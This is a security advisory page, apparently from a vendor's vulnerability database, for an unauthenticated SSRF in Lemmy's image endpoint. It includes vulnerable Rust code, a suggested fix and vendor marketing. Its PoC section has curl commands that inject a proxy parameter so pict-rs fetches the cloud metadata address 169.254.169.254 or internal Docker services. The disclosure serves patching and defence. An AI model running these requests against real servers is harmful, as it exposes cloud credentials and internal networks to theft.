Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀 crates.io

GHSA-jvxv-2jjp-jxc3

Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

Also known asCVE-2026-29178
Published
Mar 4, 2026
Updated
Mar 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk19th percentile+0.21%
0.00%0.26%0.51%0.77%0.1%0.1%0.1%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🦀lemmy_routes

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.

Affected code

crates/routes/src/images/download.rs, lines 17-40 (get_image function):

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.

This endpoint does not require authentication (no LocalUserView extractor).

PoC

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.

Impact

An unauthenticated attacker can:

  • Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service
  • Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)
  • Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Suggested Fix

Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iolemmy_routesall versions0.19.16

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_routes. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update lemmy_routes to 0.19.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jvxv-2jjp-jxc3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jvxv-2jjp-jxc3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jvxv-2jjp-jxc3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs. ## Affected code `crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function): ```rust pub async fn get_image( filename: Path<String>, Query(params): Query<ImageGetParams>, req: HttpRequest, context: Data<LemmyContext>, ) -> LemmyResult<HttpResponse>
O3 Security · Impact-Aware SCA

Is GHSA-jvxv-2jjp-jxc3 in your dependencies?

O3 detects GHSA-jvxv-2jjp-jxc3 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.